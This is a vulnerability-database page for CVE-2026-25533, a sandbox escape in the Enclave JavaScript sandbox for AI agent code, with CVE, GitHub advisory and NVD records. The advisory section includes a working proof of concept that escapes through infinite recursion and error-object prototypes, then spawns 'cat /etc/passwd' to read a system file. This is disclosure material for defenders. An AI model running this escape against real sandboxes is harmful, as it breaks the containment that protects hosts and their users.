Vulnerability-Lookup

CVE-2026-25533 (GCVE-0-2026-25533)

Vulnerability from cvelistv5 – Published: 2026-02-06 21:16 – Updated: 2026-02-06 21:16

Title

Enclave has a sandbox escape via infinite recursion and error objects

Summary

Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to 2.10.1, the existing layers of security in enclave-vm are insufficient: The AST sanitization can be bypassed with dynamic property accesses, the hardening of the error objects does not cover the peculiar behavior or the vm module and the function constructor access prevention can be side-stepped by leveraging host object references. This vulnerability is fixed in 2.10.1.

Severity ?

6.4 (Medium)


                        
                          CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H

CWE

CWE-835 - Loop with Unreachable Exit Condition ('Infinite Loop')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/agentfront/enclave/security/ad…	x_refsource_CONFIRM
	https://github.com/agentfront/enclave/commit/2fcf…	x_refsource_MISC
	https://www.staicu.org/publications/usenixSec2023…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	agentfront	enclave	Affected: < 2.10.1

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "enclave",
          "vendor": "agentfront",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.10.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to 2.10.1, the existing layers of security in enclave-vm are insufficient: The AST sanitization can be bypassed with dynamic property accesses, the hardening of the error objects does not cover the peculiar behavior or the vm module and the function constructor access prevention can be side-stepped by leveraging host object references. This vulnerability is fixed in 2.10.1."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "LOCAL",
            "baseScore": 6.4,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "HIGH",
            "subConfidentialityImpact": "HIGH",
            "subIntegrityImpact": "HIGH",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-835",
              "description": "CWE-835: Loop with Unreachable Exit Condition (\u0027Infinite Loop\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-02-06T21:16:57.162Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/agentfront/enclave/security/advisories/GHSA-x39w-8vm5-5m3p",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/agentfront/enclave/security/advisories/GHSA-x39w-8vm5-5m3p"
        },
        {
          "name": "https://github.com/agentfront/enclave/commit/2fcf5da81e7e2578ede6f94cae4f379165426dca",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/agentfront/enclave/commit/2fcf5da81e7e2578ede6f94cae4f379165426dca"
        },
        {
          "name": "https://www.staicu.org/publications/usenixSec2023-SandDriller.pdf",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://www.staicu.org/publications/usenixSec2023-SandDriller.pdf"
        }
      ],
      "source": {
        "advisory": "GHSA-x39w-8vm5-5m3p",
        "discovery": "UNKNOWN"
      },
      "title": "Enclave has a sandbox escape via infinite recursion and error objects"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-25533",
    "datePublished": "2026-02-06T21:16:57.162Z",
    "dateReserved": "2026-02-02T19:59:47.373Z",
    "dateUpdated": "2026-02-06T21:16:57.162Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-25533\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-02-06T22:16:11.450\",\"lastModified\":\"2026-02-06T22:16:11.450\",\"vulnStatus\":\"Received\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to 2.10.1, the existing layers of security in enclave-vm are insufficient: The AST sanitization can be bypassed with dynamic property accesses, the hardening of the error objects does not cover the peculiar behavior or the vm module and the function constructor access prevention can be side-stepped by leveraging host object references. This vulnerability is fixed in 2.10.1.\"}],\"metrics\":{\"cvssMetricV40\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"4.0\",\"vectorString\":\"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X\",\"baseScore\":6.4,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"LOCAL\",\"attackComplexity\":\"LOW\",\"attackRequirements\":\"NONE\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"vulnConfidentialityImpact\":\"NONE\",\"vulnIntegrityImpact\":\"NONE\",\"vulnAvailabilityImpact\":\"NONE\",\"subConfidentialityImpact\":\"HIGH\",\"subIntegrityImpact\":\"HIGH\",\"subAvailabilityImpact\":\"HIGH\",\"exploitMaturity\":\"NOT_DEFINED\",\"confidentialityRequirement\":\"NOT_DEFINED\",\"integrityRequirement\":\"NOT_DEFINED\",\"availabilityRequirement\":\"NOT_DEFINED\",\"modifiedAttackVector\":\"NOT_DEFINED\",\"modifiedAttackComplexity\":\"NOT_DEFINED\",\"modifiedAttackRequirements\":\"NOT_DEFINED\",\"modifiedPrivilegesRequired\":\"NOT_DEFINED\",\"modifiedUserInteraction\":\"NOT_DEFINED\",\"modifiedVulnConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedVulnIntegrityImpact\":\"NOT_DEFINED\",\"modifiedVulnAvailabilityImpact\":\"NOT_DEFINED\",\"modifiedSubConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedSubIntegrityImpact\":\"NOT_DEFINED\",\"modifiedSubAvailabilityImpact\":\"NOT_DEFINED\",\"Safety\":\"NOT_DEFINED\",\"Automatable\":\"NOT_DEFINED\",\"Recovery\":\"NOT_DEFINED\",\"valueDensity\":\"NOT_DEFINED\",\"vulnerabilityResponseEffort\":\"NOT_DEFINED\",\"providerUrgency\":\"NOT_DEFINED\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-835\"}]}],\"references\":[{\"url\":\"https://github.com/agentfront/enclave/commit/2fcf5da81e7e2578ede6f94cae4f379165426dca\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/agentfront/enclave/security/advisories/GHSA-x39w-8vm5-5m3p\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://www.staicu.org/publications/usenixSec2023-SandDriller.pdf\",\"source\":\"security-advisories@github.com\"}]}}"
  }
}

GHSA-X39W-8VM5-5M3P

Vulnerability from github – Published: 2026-02-05 17:49 – Updated: 2026-02-07 00:31

Summary

Sandbox escape via infinite recursion and error objects

Details

Note: The npm package has moved to @enclave-vm/core (formerly enclave-vm).
All fixed versions and guidance refer to @enclave-vm/core.

Summary

The existing layers of security in enclave-vm are insufficient: The AST sanitization can be bypassed with dynamic property accesses, the hardening of the error objects does not cover the peculiar behavior or the vm module and the function constructor access prevention can be side-stepped by leveraging host object references.

Details

There is a bug in Node.js (https://www.staicu.org/publications/usenixSec2023-SandDriller.pdf) that makes the vm module leak host references inside the vm module in case of infinite recursion. An attacker can exploit these to escape the sandbox.

PoC

The following on was tested on Node.js v24.12.0 and enclave-vm 2.7.0.

import { Enclave } from 'enclave-vm';

// Create enclave with a tool handler
const enclave = new Enclave({
  timeout: 5000,
  maxToolCalls: 10,
  maxIterations: 1000,
  toolHandler: async (toolName, args) => {
    // Your tool execution logic
    return { success: true, data: `Called ${toolName}` };
  },
});

// Execute AgentScript code
const result = await enclave.run(`
let res = null, rootProt = null;
let a = () =>{
try {
  a();
} catch (e) {
  rootProt = e[["__proto__"]][["__proto__"]][["__proto__"]];
  res=e.stack
}
}
a();
rootProt[["foo"]] = rootProt[["toString"]][["constructor"]]  
rootProt[["foo"]]("let options = {file: 'cat', args: [null,'/etc/passwd'], envPairs: [], stdio: [{ type: 'pipe', readable: true, writable: false },{ type: 'pipe', readable: false, writable: true },{ type: 'pipe', readable: false, writable: true } ]}; console.log(process.binding('spawn_sync').spawn(options).output[1].toString())")();
`);

Impact

Sandbox escape and potential other escalations on FrontMCP/AgentFront/other Frontegg products.

Severity ?

6.4 (Medium)


                  
                    CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "enclave-vm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@enclave-vm/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.10.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25533"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-05T17:49:35Z",
    "nvd_published_at": "2026-02-06T22:16:11Z",
    "severity": "MODERATE"
  },
  "details": "**Note:** The npm package has moved to `@enclave-vm/core` (formerly `enclave-vm`).  \nAll fixed versions and guidance refer to `@enclave-vm/core`.\n\n### Summary\nThe existing layers of security in enclave-vm are insufficient: The AST sanitization can be bypassed with dynamic property accesses, the hardening of the error objects does not cover the peculiar behavior or the vm module and the function constructor access prevention can be side-stepped by leveraging host object references.\n\n### Details\nThere is a bug in Node.js (https://www.staicu.org/publications/usenixSec2023-SandDriller.pdf) that makes the vm module leak host references inside the vm module in case of infinite recursion. An attacker can exploit these to escape the sandbox.\n\n### PoC\nThe following on was tested on Node.js v24.12.0 and enclave-vm 2.7.0.\n\n```js\nimport { Enclave } from \u0027enclave-vm\u0027;\n\n// Create enclave with a tool handler\nconst enclave = new Enclave({\n  timeout: 5000,\n  maxToolCalls: 10,\n  maxIterations: 1000,\n  toolHandler: async (toolName, args) =\u003e {\n    // Your tool execution logic\n    return { success: true, data: `Called ${toolName}` };\n  },\n});\n\n// Execute AgentScript code\nconst result = await enclave.run(`\nlet res = null, rootProt = null;\nlet a = () =\u003e{\ntry {\n  a();\n} catch (e) {\n  rootProt = e[[\"__proto__\"]][[\"__proto__\"]][[\"__proto__\"]];\n  res=e.stack\n}\n}\na();\nrootProt[[\"foo\"]] = rootProt[[\"toString\"]][[\"constructor\"]]  \nrootProt[[\"foo\"]](\"let options = {file: \u0027cat\u0027, args: [null,\u0027/etc/passwd\u0027], envPairs: [], stdio: [{ type: \u0027pipe\u0027, readable: true, writable: false },{ type: \u0027pipe\u0027, readable: false, writable: true },{ type: \u0027pipe\u0027, readable: false, writable: true } ]}; console.log(process.binding(\u0027spawn_sync\u0027).spawn(options).output[1].toString())\")();\n`);\n\n```\n### Impact\nSandbox escape and potential other escalations on FrontMCP/AgentFront/other Frontegg products.",
  "id": "GHSA-x39w-8vm5-5m3p",
  "modified": "2026-02-07T00:31:46Z",
  "published": "2026-02-05T17:49:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/agentfront/enclave/security/advisories/GHSA-x39w-8vm5-5m3p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25533"
    },
    {
      "type": "WEB",
      "url": "https://github.com/agentfront/enclave/commit/2fcf5da81e7e2578ede6f94cae4f379165426dca"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/agentfront/enclave"
    },
    {
      "type": "WEB",
      "url": "https://www.staicu.org/publications/usenixSec2023-SandDriller.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Sandbox escape via infinite recursion and error objects"
}

FKIE_CVE-2026-25533

Vulnerability from fkie_nvd - Published: 2026-02-06 22:16 - Updated: 2026-02-06 22:16

Severity ?

6.4 (Medium) - CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/agentfront/enclave/commit/2fcf5da81e7e2578ede6f94cae4f379165426dca
	security-advisories@github.com	https://github.com/agentfront/enclave/security/advisories/GHSA-x39w-8vm5-5m3p
	security-advisories@github.com	https://www.staicu.org/publications/usenixSec2023-SandDriller.pdf

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to 2.10.1, the existing layers of security in enclave-vm are insufficient: The AST sanitization can be bypassed with dynamic property accesses, the hardening of the error objects does not cover the peculiar behavior or the vm module and the function constructor access prevention can be side-stepped by leveraging host object references. This vulnerability is fixed in 2.10.1."
    }
  ],
  "id": "CVE-2026-25533",
  "lastModified": "2026-02-06T22:16:11.450",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "LOCAL",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 6.4,
          "baseSeverity": "MEDIUM",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "HIGH",
          "subConfidentialityImpact": "HIGH",
          "subIntegrityImpact": "HIGH",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-02-06T22:16:11.450",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/agentfront/enclave/commit/2fcf5da81e7e2578ede6f94cae4f379165426dca"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/agentfront/enclave/security/advisories/GHSA-x39w-8vm5-5m3p"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://www.staicu.org/publications/usenixSec2023-SandDriller.pdf"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-835"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-25533 (GCVE-0-2026-25533)

GHSA-X39W-8VM5-5M3P

Summary

Details

PoC

Impact

FKIE_CVE-2026-25533

Tags

Sightings

Nomenclature